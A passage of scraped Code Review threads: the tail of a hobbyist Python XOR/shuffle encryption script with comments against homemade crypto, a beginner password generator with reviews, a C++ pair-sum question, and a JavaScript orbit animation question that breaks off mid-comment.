m = [list(xor[j * 8:j * 8 + 8]) for j in range(16)]
m = reverse_shuffle(m, round_key, loops)
shuffled_data += matrix_to_bytes(m)
return xor_string(key, shuffled_data)
def shuffle(m: List[List[int]], key: int, loops: int) -> List[List[int]]:
for j in range(loops):
# move columns to the right
m = [row[-1:] + row[:-1] for row in m]
# move rows down
m = m[-1:] + m[:-1]
shuffled_m = [[0] * 8 for _ in range(16)]
for idx, sidx in enumerate(test(key)):
shuffled_m[idx // 8][idx % 8] = m[sidx // 8][sidx % 8]
m = shuffled_m
# cut in half and flip halves
m = m[len(m) // 2:] + m[:len(m) // 2]
# test
# m = list(map(list, zip(*m)))
return m
def reverse_shuffle(m: List[List[str]], key: int, loops: int) -> List[List[str]]:
for j in range(loops):
# test
# m = list(map(list, zip(*m)))
# cut in half and flip halves
m = m[len(m) // 2:] + m[:len(m) // 2]
shuffled_m = [[0] * 8 for _ in range(16)]
for idx, sidx in enumerate(test(key)):
shuffled_m[sidx // 8][sidx % 8] = m[idx // 8][idx % 8]
m = shuffled_m
# move rows up
m = m[1:] + m[:1]
# move columns to the left
m = [row[1:] + row[:1] for row in m]
return m
def shift_bits(key: bytes, secret: bytes) -> bytes:
"""As you can see I have no idea what I'm doing :)"""
shifted = b''
for idx, byte in enumerate(secret):
byte = byte ^ 255
byte = sum(1 << (8 - 1 - j) for j in range(8) if byte >> j & 1)
byte = byte ^ (key[idx] ^ 255)
shifted = shifted + bytes([byte])
return shifted
def unshift_bits(key: bytes, secret: bytes) -> bytes:
shifted = b''
for idx, byte in enumerate(secret):
byte = byte ^ (key[idx] ^ 255)
byte = sum(1 << (8 - 1 - j) for j in range(8) if byte >> j & 1)
byte = byte ^ 255
shifted = shifted + bytes([byte])
return shifted
def test(seed: bytes) -> List[int]:
rg = np.random.Generator(ChaCha(seed=int.from_bytes(seed, byteorder='big'), rounds=8))
lst = np.arange(128)
rg.shuffle(lst)
return lst
def bin_to_bytes(binary: str) -> bytes:
return int(binary, 2).to_bytes(len(binary) // 8, byteorder='big')
def encrypt(password: str, secret: str, loops: int = 1) -> str:
key = generate_key(password)
secret = add_padding(secret)
secret = xor_string(key, secret)
secret = obfuscate(secret, key, True, loops)
secret = bytes_to_base64(secret)
return secret
def decrypt(password: str, base: str, loops: int = 1) -> str:
key = generate_key(password)
binary = base64_to_bytes(base)
binary = xor_string(key, binary)
binary = obfuscate(binary, key, False, loops)
pad = binary[-1]
binary = binary[:-pad]
return binary.decode()
def main():
while True:
com = input('1) Encrypt Text\n' '2) Decrypt Text\n' '3) Exit\n')
input_text = input('Enter the text: ')
# key = getpass('Enter your key: ')
key = input('Enter your key: ') # getpass doesn't work in pycharm, just for testing
if com == '1':
print(f'Encrypted text: {encrypt(key, input_text)}')
elif com == '2':
print(f'Decrypted text: {decrypt(key, input_text)}')
elif com == '3':
break
print()
if __name__ == '__main__':
# from datetime import datetime
#
# start = datetime.now()
# encrypt('password', 'hello this is a test')
# print(datetime.now() - start)
main()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T20:12:56.540",
"Id": "514102",
"Score": "0",
"body": "The best thing to do with encryption is to not do it yourself. Use a popular package from a reputable source. If you don't trust them - encrypt twice with two different algorithms from two different packages from well-known sources."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-07T00:37:36.147",
"Id": "514108",
"Score": "0",
"body": "@StenPetrov it's just for fun/practice :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-14T17:24:50.683",
"Id": "514626",
"Score": "0",
"body": "It's all fun and games but... toy code becomes proof-of-concept code, which becomes prod code - and nobody is looking into it anymore... and then your company ends up in the news with a massive private data leak"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-14T17:33:15.693",
"Id": "514627",
"Score": "0",
"body": "@StenPetrov Before (if ever) it becomes production code, I would have it be analyzed by cryptologists who know what they are doing. Only then, if it passes, would I use it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-17T21:53:14.353",
"Id": "514791",
"Score": "0",
"body": ".... and there lies the problem. \"Cryptologists\" is an imaginary title and people who explicitly deal with cryptography only exist in universities and very large companies. In companies smaller than the likes of Microsoft, Google, Apple, Facebook etc, you get a \"local expert\" who guessingly waves a thumbs up. And even then - cryptography experts can get it wrong too. SHA1 is named \"Secure\", yet it's already considered broken and there were holes found in many popular algorithms and protocols."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-18T00:01:14.457",
"Id": "514805",
"Score": "0",
"body": "@StenPetrov I'll keep it in mind, thanks!"
}
] |
[
{
"body": "<blockquote>\n<p>Is that just for type hints?</p>\n</blockquote>\n<p>Correct, everything in the typing module is used for type hints. These are useful when using something like mypy, but the python interpreter will just ignore all of these.</p>\n<blockquote>\n<p>Would it be faster to use numpy arrays instead of python lists of lists?</p>\n</blockquote>\n<p>Theoretically, yes but it depends on the size of the data. numpy is really meant for processing large data sets, and I imagine most things you'd use this for is pretty small where the overhead would wipe away any speedup.</p>\n<blockquote>\n<p>Aside from those follow up questions, if you see anything needing to be changed, let me now.</p>\n</blockquote>\n<pre class=\"lang-py prettyprint-override\"><code>def generate_key(key: str) -> bytes:\n if len(key) >= 128:\n key = key.encode()\n return key[:128]\n elif len(key) < 128:\n \n key = key.encode()\n \n for i in range(128 - len(key)):\n key = key + bytes([(sum(key) // len(key)) ^ sum(1 << (8 - 1 - j) for j in range(8) if key[i] >> j & 1)])\n \n decimal = ''.join(str(i) for i in key)\n \n binary = f'{bin(int(decimal[len(decimal) // 2:] + decimal[:len(decimal) // 2]))[2:]:<01024s}'\n \n key = bin_to_bytes(binary[:1024])\n half1 = key[:len(key) // 2]\n half2 = key[len(key) // 2:]\n key = half2 + half1\n return key[:128]\n</code></pre>\n<p>The elif here is unnecessary. You could remove some of the indentation by just omitting the <code>elif</code> statement here.</p>\n<pre class=\"lang-py prettyprint-override\"><code>def generate_key(key: str) -> bytes:\n if len(key) >= 128:\n key = key.encode()\n return key[:128]\n \n key = key.encode()\n \n for i in range(128 - len(key)):\n key = key + bytes([(sum(key) // len(key)) ^ sum(1 << (8 - 1 - j) for j in range(8) if key[i] >> j & 1)])\n \n decimal = ''.join(str(i) for i in key)\n \n binary = f'{bin(int(decimal[len(decimal) // 2:] + decimal[:len(decimal) // 2]))[2:]:<01024s}'\n \n key = bin_to_bytes(binary[:1024])\n half1 = key[:len(key) // 2]\n half2 = key[len(key) // 2:]\n key = half2 + half1\n return key[:128]\n</code></pre>\n<ul>\n<li>It's kinda weird that you use <code>i</code> for some loops and <code>j</code> for others when there are no name collisions. Weird, but not horrible.</li>\n<li>I would probably toss <code>128</code> into a constant called block size and put that at the top of this file. <code>BLOCK_SIZE = 128</code>. Then replace all instances of 128 with that constant That way if the block size changes you only need to update it in one place.</li>\n<li>You could probably wrap this in a class and it would be easier to handle namespacing across files if you end up using this in another python file. Going this route you could just expose encrypt/decrypt functions and make all of the others "private" by prefixing them with <code>_</code>.\n<ul>\n<li>If you go this way blocksize could be set on the object and doesn't need to be a constant</li>\n</ul>\n</li>\n<li>Right now you are only using numpy for the randomness functions. I would suggest using pythons built in random functions for that.\n<ul>\n<li><a href=\"https://docs.python.org/3/library/random.html\" rel=\"nofollow noreferrer\">https://docs.python.org/3/library/random.html</a></li>\n<li>For secure randomness you could use the secrets module: <a href=\"https://docs.python.org/3/library/secrets.html#module-secrets\" rel=\"nofollow noreferrer\">https://docs.python.org/3/library/secrets.html#module-secrets</a></li>\n</ul>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T15:11:16.447",
"Id": "514074",
"Score": "1",
"body": "Some of the `j`'s were probably left overs from when there was a collision, but then the code was changed and I never switched to `i`. And for the randomness part, the reason I don't use the `random` module is it isn't secure. Anyway, thanks for the feedback!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T18:49:51.797",
"Id": "514096",
"Score": "0",
"body": "You could use https://docs.python.org/3/library/secrets.html#module-secrets if you wanted to use a crypto safer random function. I assumed this was a toy program so the random module should be fine."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-07T00:38:24.807",
"Id": "514109",
"Score": "0",
"body": "While it is a \"toy\" program I figured I'd make it as good as possible."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T05:18:59.700",
"Id": "260405",
"ParentId": "260171",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260405",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T22:48:18.360",
"Id": "260171",
"Score": "0",
"Tags": [
"python",
"reinventing-the-wheel",
"cryptography"
],
"Title": "Encryption/Decryption algorithm #3"
}
|
260171
|
<p>This a small project for a beginner, it basically generate symbols digits letters depending on the user input I want to make the code better and learn from my mistakes.</p>
<pre><code>import string
import random
asklenght = 0
asku = int(input("Please choose a method:\n 1)Digits \n 2)Letters \n 3) Symbols \n 4) All \n "))
asklenght = int(input("How long do you want your password to be ? "))
digits = string.digits
letters = string.ascii_letters
symbols = string.punctuation
if asku == 1:
outputpass = random.choice(digits)
elif asku == 2:
outputpass = random.choice(letters)
elif asku == 3:
outputpass = random.choice(symbols)
else:
outputpass = random.choice(digits)
outputpass = random.choice(letters)
outputpass = random.choice(symbols)
for i in range(asklenght - 1 ):
if asku == 1:
outputpass += random.choice(digits)
elif asku == 2:
outputpass += random.choice(letters)
elif asku == 3:
outputpass += random.choice(symbols)
else:
outputpass += random.choice(digits)
outputpass += random.choice(letters)
outputpass += random.choice(symbols)
print(outputpass)
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T15:32:20.503",
"Id": "513613",
"Score": "0",
"body": "I don't have any feedback beyond what FMC already said. I built a password generator, if you want something else to reference to https://github.com/adholmgren/password_gen. It's not super polished, was just going for something personal/functional, but just to see some other ideas."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-01T05:27:13.560",
"Id": "513642",
"Score": "0",
"body": "Hello! but this doesn't give me required length of password\nI entered 10 in the digits but it gave me 27 length of password! need to fix that"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T02:18:21.197",
"Id": "513691",
"Score": "0",
"body": "@Pear Yeah, i thought it did comment again if you want the final code"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T05:40:09.717",
"Id": "513706",
"Score": "0",
"body": "what do you mean by Comment again if you want the final code?\ndoes that mean Now i commented and You will update your code?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T14:57:34.340",
"Id": "513731",
"Score": "0",
"body": "Do i need to update it if someone else posted the correct code ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T18:45:11.310",
"Id": "513823",
"Score": "1",
"body": "No, it's better not to touch the code after reviews start coming in. It gets really confusing on who reviewed what code otherwise, even if you clearly mark it as such. If you've updated your code significantly and want a new review on the new code, post a new question."
}
] |
[
{
"body": "<p>One of the easiest ways to improve code is to reduce repetition. The\nmost-repeated elements in your code are <code>random.choice</code> and <code>outputpass</code>. You\ncan reduce bulk by importing what you need rather than importing a module containing\nwhat you need.</p>\n<pre><code>from random import choice\nfrom string import digits, ascii_letters, punctuation\n</code></pre>\n<p>Another bulk-reducer is to choose more practical variable names. By practical,\nI mean names that are are more\ncompact but no less informative to the reader. For example, in a script that\ngenerates a password, the context is quite clear, so you can get away with a\nvery short variable name: <code>pw</code> is one sensible option. Similarly, a simple name\nlike <code>n</code> is just as clear as <code>asklenght</code>, because <em>in context</em> everybody\nunderstands what <code>n</code> means.</p>\n<p>On the subject of naming, what does <code>asku</code> mean? Not very much to me. But\nyour input prompt text is very clear. A better name might be be <code>method</code>\n(which your text uses)\nor perhaps even <code>chartype</code>, which is more specific.</p>\n<p>Your code has a bug for <code>All</code>: it creates a password 3x as long as it should be.</p>\n<p>You don't need any special logic for <code>n</code> of 1, 2, or 3. Just set up\nthe loop and let it handle everything. The key is to use <code>n</code> rather\nthan <code>n - 1</code>.</p>\n<pre><code>for i in range(n):\n ...\n</code></pre>\n<p>The conditional logic inside the loop has only one purpose: selecting\nthe relevant characters to include in the password. Anytime you have\na situation like that, logic can often be greatly simplified by\ncreating a data structure.</p>\n<pre><code>characters = {\n 1: digits,\n 2: ascii_letters,\n 3: punctuation,\n 4: digits + ascii_letters + punctuation,\n}\n</code></pre>\n<p>That change drastically reduces the code inside the loop:</p>\n<pre><code>pw = ''\nfor i in range(n):\n pw += choice(characters[chartype])\n</code></pre>\n<p>If you want to impress your friends, you can even write it\nin one shot by using a comprehension:</p>\n<pre><code>pw = ''.join(choice(characters[chartype]) for i in range(n))\n</code></pre>\n<p>For usability, you might also consider changing the way that <code>chartype</code>\nworks: instead of asking users to type a number, which requires a small\nmental translation from a meaningful thing (letters, numbers, symbols, all)\nto an abstract thing (1, 2, 3, 4), you could just let them type the\nfirst letter of the actual thing.</p>\n<p>Also for usability, if the context is already clear, shorter messages\nare easier on users, because they can scan them very quickly.</p>\n<p>A final change to consider is whether to subject your user to interrogation by a\ncomputer. I come from the school of thought that says humans tell computers what to\ndo, not the other way around. In addition to being pro-human, that policy has many practical benefits.\nFor example, isn't it annoying that everything time you edit the code and\nre-run it, you have to answer <em>the same damn questions</em>. A different approach\nis to take those instructions directly from the command line. Python\nships with a module called <code>argparse</code> that would work well for a script\nlike this, but you can skip that if you want and just use <code>sys.argv</code> directly.</p>\n<p>You probably should do some input validation, but I'll leave that\nfor you to pursue or for some other reviewer to comment on. Here's\nthe code with those suggested changes.</p>\n<pre><code>from string import digits, ascii_letters, punctuation\nfrom random import choice\nfrom sys import argv\n\nif len(argv) == 3:\n chartype = args[1]\n n = int(args[2])\nelse:\n prompt = 'Password characters:\\n (D)igits\\n (L)etters\\n (S)ymbols\\n (A)ll\\n'\n chartype = input(prompt)\n n = int(input("Length? "))\n chartype = chartype.lower()[0]\n\ncharacters = {\n 'd': digits,\n 'l': ascii_letters,\n 's': punctuation,\n 'a': digits + ascii_letters + punctuation,\n}\n\npw = ''.join(choice(characters[chartype]) for i in range(n))\n\nprint(pw)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T01:47:01.323",
"Id": "513546",
"Score": "0",
"body": "You are the same guy that helped me the other time, Thanks for all these tips, but i tried the programme in the terminal whenever i try to pass arguments it gives me an error in the terminal \n\"Traceback (most recent call last):\n File \".../Password generator/propass.py\", line 8, in <module>\n n = int(args[1])\nIndexError: list index out of range\n\"\nyou don't need to help me with this, its a little bit advanced for me but i'm curios if you have time, thanks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T01:47:27.440",
"Id": "513547",
"Score": "0",
"body": "the programme work fine in my IDE by the way."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T01:55:05.153",
"Id": "513548",
"Score": "0",
"body": "ah, sorry i didn't know i should put all the arguments, i appreciate your help i truly do <3"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T02:14:15.693",
"Id": "513549",
"Score": "1",
"body": "@BackpainYT Probably better to use `if len(argv) == 3` than my initial code. I edited that. And yes, you can put arguments on the command line when you run a script. That's the standard way to interact with these kinds of programs and a useful technique in many situations."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T02:32:31.570",
"Id": "513550",
"Score": "0",
"body": "alright, thank you."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T08:25:58.163",
"Id": "513569",
"Score": "0",
"body": "We could be nicer to the user when invalid inputs are supplied."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T01:17:44.160",
"Id": "260176",
"ParentId": "260173",
"Score": "15"
}
},
{
"body": "<p>Don't use <code>random.choice()</code> for generating passwords. As <a href=\"https://docs.python.org/3/library/random.html\" rel=\"noreferrer\">the documentation</a> says:</p>\n<blockquote>\n<p><strong>Warning:</strong> The pseudo-random generators of this module should not be used for security purposes. For security or cryptographic uses, see the <code>secrets</code> module.</p>\n</blockquote>\n<hr />\n<p>I'm not sure what you're expecting from these three lines:</p>\n<blockquote>\n<pre><code>outputpass = random.choice(digits)\noutputpass = random.choice(letters)\noutputpass = random.choice(symbols)\n</code></pre>\n</blockquote>\n<p>The first two have no effect, since their results immediately get overwritten. That's bad, as it's giving us much less password entropy than the user asked for.</p>\n<p>Probably you meant to choose from all three sets:</p>\n<pre><code>outputpass = random.choice(digits + letters + symbols)\n</code></pre>\n<p>Similarly, where we have</p>\n<blockquote>\n<pre><code> outputpass += random.choice(digits)\n outputpass += random.choice(letters)\n outputpass += random.choice(symbols)\n</code></pre>\n</blockquote>\n<p>we're appending three characters, one from each set.</p>\n<p>As <a href=\"/a/260176/75307\">FMc's answer</a> says, don't repeat these - just start with an empty string.</p>\n<hr />\n<p>Minor (spelling): <code>length</code>, not <code>lenght</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T14:49:17.697",
"Id": "513608",
"Score": "1",
"body": "Note: `secrets` is just a small wrapper around [`random.SystemRandom`](https://docs.python.org/3/library/random.html#random.SystemRandom)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T15:00:22.700",
"Id": "513609",
"Score": "1",
"body": "True; I've made my first sentence more specific - it now agrees with the quoted text."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T22:59:39.543",
"Id": "513635",
"Score": "0",
"body": "I appreciate it, thank you for the tips."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T08:21:17.553",
"Id": "260184",
"ParentId": "260173",
"Score": "15"
}
},
{
"body": "<p>FMC and Toby have already added some excellent answers. So, I'll just build on what FMC said and add a small change.</p>\n<p>In Python 3.6, a new function called <code>choices</code> (<a href=\"https://docs.python.org/3/library/random.html#random.choices\" rel=\"noreferrer\">https://docs.python.org/3/library/random.html#random.choices</a>) was added. It basically lets you pick <code>k</code> different values from <code>n</code> different choices. You can use this to skip calling <code>random.choice</code> in loop.</p>\n<pre><code>from string import digits, ascii_letters, punctuation\nfrom random import choices\nfrom sys import argv\n\nif len(argv) == 3:\n chartype = args[1]\n n = int(args[2])\nelse:\n prompt = 'Password characters:\\n (D)igits\\n (L)etters\\n (S)ymbols\\n (A)ll\\n'\n chartype = input(prompt)\n n = int(input("Length? "))\n chartype = chartype.lower()[0]\n\ncharacters = {\n 'd': digits,\n 'l': ascii_letters,\n 's': punctuation,\n 'a': digits + ascii_letters + punctuation,\n}\n\npw = ''.join(choices(characters[chartype], k=n))\n\nprint(pw)\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T23:03:59.827",
"Id": "513636",
"Score": "0",
"body": "I encountered this function. I didn't know how to use it, but thanks for the advice, i really appreciate it ."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T17:03:40.027",
"Id": "260202",
"ParentId": "260173",
"Score": "5"
}
}
] |
{
"AcceptedAnswerId": "260176",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-29T23:30:10.493",
"Id": "260173",
"Score": "9",
"Tags": [
"python",
"beginner"
],
"Title": "A password generator"
}
|
260173
|
<p>I was thinking about this problem where you should <strong>make a function that takes an array and a target value and then it will find all the pair values that sums up to that target value.</strong></p>
<p>Of course there is the naive way using nested loops, but I want to avoid the O(n²) time complexity so I have came up with this solution.</p>
<p>Knowing that</p>
<ul>
<li>Array is sorted.</li>
<li>Length is static (for the testing purpose only)</li>
</ul>
<h3>Particular concerns</h3>
<ul>
<li><p>does it scale better than O(n²)?</p>
</li>
<li><p>could I do better?</p>
</li>
</ul>
<pre><code>#include <vector>
using namespace std;
void pairs_sum_up_to_value(int arr[], int target)
{
int p1 = 0;
int p2 = 15;
int flag = 2;
vector<result> res;
while (p1 < p2)
{
if (arr[p1] + arr[p2] == target)
{
for (int k = 0; k < res.size() - 1; k++)
{
if (res.size() == 0)
res.push_back(result(arr[p1], arr[p2]));
else if (res[k].num1 != arr[p1] && res[k].num2 != arr[p2])
{
flag = 1;
}
else flag = 0;
}
if(flag == 0) res.push_back(result(arr[p1], arr[p2]));
p1++;
}
else if (arr[p1] + arr[p2] < target)
{
p1++;
continue;
}
else if (arr[p1] + arr[p2] > target)
{
p2--;
for (int i = p1; i >=0; i--)
{
if (arr[i] + arr[p2] == target)
{
res.push_back(result(arr[p1], arr[p2]));
}
else if (arr[i] + arr[p2] > target)
{
continue;
}
else break;
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T08:07:50.607",
"Id": "513566",
"Score": "0",
"body": "You're missing a definition of `vector` - is that supposed to be `std::vector`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T23:05:13.877",
"Id": "513763",
"Score": "0",
"body": "No, I have used the std namespace to shorten the code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T00:36:00.673",
"Id": "513770",
"Score": "4",
"body": "Please do not update the code in your question to incorporate feedback from answers, doing so goes against the Question + Answer style of Code Review. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*."
}
] |
[
{
"body": "<p>This is a typical LeetCode problem. I would write an O(n) solution as follows:</p>\n<pre><code>#include <unordered_set>\n#include <utility>\n#include <vector>\n\ntemplate <typename T>\nstd::vector<std::pair<T, T>> twoSum(const std::vector<T>& arr, const T& target) {\n std::unordered_set<T> seen;\n std::vector<std::pair<T, T>> result;\n for (const auto& num : arr) {\n T complement = target - num;\n if (seen.contains(complement)) {\n result.emplace_back(num, complement);\n }\n seen.insert(num);\n }\n return result;\n}\n\n</code></pre>\n<p>Now let's review your solution:</p>\n<ul>\n<li><p>Don't hardcode array length. <code>int p2 = 15;</code> Don't do this. You can't assume that the length of input array is always 16.</p>\n</li>\n<li><p>Don't use <code>struct result</code>. Instead, use <code>pair<int, int></code></p>\n</li>\n<li><p>The solution is wrong, you can't use two pointers in this case without sorting.</p>\n</li>\n<li><p>You should insert the solution when <code>flag = 1</code>, not 0.</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T14:42:01.347",
"Id": "513605",
"Score": "0",
"body": "If the `arr` values are not unique, you might insert duplicates. It makes sense that a solution of `{4,4}` is only admitted if there are at least two 4's present, and your code (`seen.insert` called _after_ checking) will accommodate that. But do you want all pairs of input to be included (like when evaluating Cribbage hand scores, for example) or only one copy of each pair of values? You're doing neither, and the use of the `set` would not count all possible pairs."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T14:44:43.447",
"Id": "513607",
"Score": "0",
"body": "@JDługosz Sure, then we can switch to ```std::unordered_map<T, std::size_t>``` and return the pair of indices."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T23:01:04.860",
"Id": "513762",
"Score": "0",
"body": "I am sorry that the question is not clear, but in this solution we assume that the array is already sorted and because it was only a test in my free time, I used a static array, of course that should not be done in normal cases.\n - I didn't know about the **pair** DT, it was an addition for me so, thanks!"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T00:37:52.937",
"Id": "260175",
"ParentId": "260174",
"Score": "3"
}
},
{
"body": "<pre><code>void pairs_sum_up_to_value(int arr[], int target)\n</code></pre>\n<p>What's the length of <code>arr</code>? You should make it work like an STL algorithm, so it takes two <em>iterators</em>, or a <em>range</em> of some kind.</p>\n<p>There's no return value? Where does the result go??\nI see you have a <code>result</code> vector inside the function, but it's not returned.</p>\n<pre><code> int p1 = 0;\n int p2 = 15;\n int flag = 2;\n</code></pre>\n<p>Despite your naming of <code>p_</code> and the text that you give before the code, these are not pointers. They are indexes.</p>\n<p>Using actual pointers (or more generally, iterators) would be more normal. The begin and end points would be the parameters to the function.</p>\n<p>What is <code>flag</code>? I see it starts out as 2, might be set to 0 or 1, but there's no clue as to what it means. The only code that <em>reads</em> <code>flag</code> cares if it's 0, so why do you have 1 and 2 distinguished? It might be properly a <code>bool</code> called something that indicates its meaning.</p>\n<p>As for the meaning, it is whatever the last iteration of the preceding loop left it as. So there's no reason to loop at all; just look at the last element since that's the only thing that has any effect. Otherwise I think it resembles a search of some kind, but of course it's not. Hmm, does this code actually work? If not, this question should be closed since we only review correct working code. I'm not sure how you even know if it works or not, since the result you computed is not returned or printed out or anything.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T22:43:03.050",
"Id": "513760",
"Score": "0",
"body": "It's working of course, if it's not I would have posted it on Stack Overflow. \n- I was only testing the solution, so I didn't put the size in mind because I was testing it on a static array, but if it was to be implemented in a program, I would put additional parameter for the length.\n- there is no return value for the same reason also, I printed all the values stored in the result's vector and it's actually working."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-02T22:56:42.320",
"Id": "513761",
"Score": "0",
"body": "- I didn't use pointers because I thought it's not necessary since I don't need to do something with the address of the values, I only want to know the values in the array that sum up to the target value.\n- I used the flag for the searching algorithm that I used, which is if the pair of the values which is recently found is already in the vector, flag value will be 1 instead of 0, and I push values depending on the value of the flag, but I see that it should be a bool, I didn't see that when I was coding it. \n- Sorry, I didn't get the last point, can you clarify it more for me?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-03T14:12:52.907",
"Id": "513806",
"Score": "0",
"body": "There's no print statements in the code you posted. So I see code that does the work and then throws it away."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T01:23:18.500",
"Id": "260177",
"ParentId": "260174",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T00:27:04.420",
"Id": "260174",
"Score": "-1",
"Tags": [
"c++",
"algorithm"
],
"Title": "Finding all pairs of elements in an array that sum to a target value using multiple pointers"
}
|
260174
|
<p>So I am pretty new to JavaScript and I thought I might make an animation demonstrating a planet orbiting a sun in an elliptical orbit using Kepler's laws.</p>
<p>I am struggling to get the speed right. So I want the speed of the planet to be slower further away from the sun, and faster closer to the sun.</p>
<p>Within this method I use Keplers laws to calculate the x and y coordinate. I have also calculated the (real) velocity at each point in its trajectory (this may need to be scaled appropriately as I hope to use real astronomical data).</p>
<p>I tried to use a scaled version of the velocity. The velocity values produced were in the range of 10,000 to 80,000 - so I thought of using that to update theta using the following:</p>
<pre><code> this.speed = function(){
this.theta += this.velocity/10000 ;
}
</code></pre>
<p>However this didn't work and the planet disappears.</p>
<p>I've got full code is below:</p>
<p>HTML:</p>
<pre><code><canvas id="mybox"></canvas>
</code></pre>
<p>CSS:</p>
<pre><code>canvas {
border: 2px solid #000;
background-color: #102233;
}
</code></pre>
<p>JS:</p>
<pre><code>var canvas = document.getElementById('mybox');
canvas.width = window.innerWidth ;
canvas.height = window.innerHeight ;
var ctx = canvas.getContext('2d');
function sun(){
// Draws Sun at center
ctx.beginPath() ;
ctx.fillStyle = "orange";
ctx.arc(canvas.width/2, canvas.height/2, 40, 0, Math.PI*2);
ctx.fill();
};
function planet(M, G, T, e) {
this.x = 0 ;
this.y = 0 ;
this.radius = 20 ;
this.theta = 0 ;
this.dtheta = 0.5 ;
this.vel = 0 ;
this.updateTheta = function() {
if (this.theta > Math.PI){
this.theta += this.dtheta ;
this.dtheta += 0.001 ;
}
else if (this.theta < Math.PI){
this.theta +=this.dtheta ;
this.dtheta -= 0.001 ;
}
if(this.theta>=2*Math.PI || this.theta < 0) {
this.theta = 0;
}
}
this.position = function(theta) {
// Calculates position
var R = Math.pow(((Math.pow(T,2))/((4*Math.pow(Math.PI, 2))/(G*M))),(1/3)) ;
var a = R/(1-e) ;
var radius = a*(1-Math.pow(e,2))/(1+e*Math.cos(theta)) ;
this.x = radius*Math.cos(theta)*10e-10 + canvas.width/2 ;
this.y = radius*Math.sin(theta)*10e-10 + canvas.height/2;
this.vel = Math.sqrt(G*M*((2/radius)-(1/a))) ;
}
this.draw = function() {
ctx.beginPath();
ctx.fillStyle = 'green';
ctx.arc(this.x, this.y, this.radius, 0, Math.PI*2);
ctx.fill();
this.position(this.theta) ;
this.updateTheta() ;
}
}
// Values to display elliptical orbit
var G = 6.e-11;
var M = 5e+30;
var T = 1e+7;
var e = 0.6;
function update(){
ctx.clearRect(0, 0, canvas.width, canvas.height);
sun();
earth.draw();
}
let earth = new planet(M, G, T, e)
setInterval(update, 50);
</code></pre>
<p>Any help or comments will be appreciated. Thanks!</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T03:15:04.270",
"Id": "513552",
"Score": "0",
"body": "Other than looking at applied math, can you be a little more specific about what you want from a review of the code snippet?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-30T03:32:46.630",
"Id": "513553",
"Score": "0",
"body": "I was hoping for help with ensuring the animation displayed a scaled version of the velocity. Apologies if this is not the correct way of asking a question.\n\nThis has just been bugging me for a while and was unsure of who to ask"
},
{
"ContentLicense": "CC BY-SA 4.0",
